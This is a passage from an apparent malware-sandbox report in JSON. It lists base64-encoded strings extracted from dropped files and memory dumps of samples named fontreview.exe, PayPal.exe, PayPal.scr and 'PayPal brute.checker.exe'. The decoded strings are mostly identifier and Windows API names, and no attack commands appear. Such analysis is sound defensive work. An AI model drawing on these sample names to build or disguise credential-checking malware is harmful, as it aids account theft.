File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29uc3VtZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGlj","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXJyb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXZlbnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXhwb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmllbGQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlRmlsdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlR2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSGVscGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSWRlbnRpZmllcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW5pdGlhbGl6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW5zdGFuY2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW50ZXJjZXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSW50ZXJwcmV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFw","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFwcGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWFwcGluZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTWV0aG9k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTW9jaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlTW9kZWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlT3JkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFnZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyYW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyYW1ldGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUGFyc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUG9saWN5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUG9vbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJlZGljYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJpbnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvY2Nlc29y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvY2Vzcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvZHVjZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJvZHVjdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUHJveHk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUXVldWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVjb3Jk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVm","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVnaXN0cnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVwb25zZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVwb3NpdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVxdWVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUmVzb2x2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUnVsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlUnVsZXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2NoZW1h","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2VyaWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2V0dGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU2luZ2xldG9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RhdHVz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlU3RyYXRlZ3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGFn","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVtcGxhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGVzdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVGhyZWFk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVG9rZW4=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVG9rZW5pemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVXRpbHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmFs","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmFsdWU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlVmlzaXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV2F0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV29ya2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGYWlsdXJlV3JhcHBlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRGaWx0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRHZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRHbG9iYWw=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJZGVudGlmaWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbXBvcnRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbmRleGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbmZv","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbml0aWFsaXplcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbnRlcmNlcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbnRlcnByZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJbnZvY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJc3N1ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJdGVt","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRJdGVyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRMaXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRMaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNYW5hZ2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNYXBwZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNYXBwaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNZXJjaGFudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNZXNzYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNZXRob2Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNb2Nr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRNb2RlbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRPcmRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQYWdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQYXJhbQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQYXJhbWV0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQYXJzZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQb2xpY3k=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQb29s","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRQb3NpdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcmVkaWNhdGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm9j","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm9jZXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm9kdWNlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm9kdWN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm90b3R5cGU=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQcm94eQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRQdWJsaXNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRRdWV1ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZWFkZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZWNvcmQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZWdpc3RyeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZXBvbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZXBvc2l0b3J5","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZXF1ZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSZXNvbHZlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRSb2xl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTY2hlbWE=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTZXJpYWxpemVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTZXJ2ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTZXR0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTaW5nbGV0b24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXNzZXRzaXpl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTcGVjaWZpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTdGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTdHJhdGVneQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTdHJ1Y3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTdHVi","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRTeXN0ZW0=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUYXNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUZW1wbGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUZXN0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUZXN0cw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUaHJlYWQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUb2tlbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRUb2tlbml6ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRVdGlscw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRXYXRjaGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzZXRXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzaWduSGFuZGxl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NpYXRpb24gRnJhbWV3b3JrIFByb3ZpZGVyIEhvc3Q=","type":"Unicode","source":"Dropped File","process":null,"filename":"dasHost.exe.2647022759","compromised":null,"detection_total":null,"total":null},{"value":"QXN5bmNDYWxsYmFjaw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXN5bmNFdmVudEJpdHM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXRTZXR0aW5ncy46MTA=","type":"Ansi","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"QXR0YWNoQ29uc29sZQ==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QXR0YWNoVGhyZWFkSW5wdXQ=","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cjJfaGlnaA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cjJfb2Zmc2V0","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cl9IaWdo","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cl9vZmZzZXQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0ckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ckVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ckZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0ckZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0ckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YXR0cmlidXRlSXRlcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlSXRlcmF0b3JXb3JrZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QXR0cmlidXRlTWFwRmlsdGVy","type":"Ansi","source":"Dropped 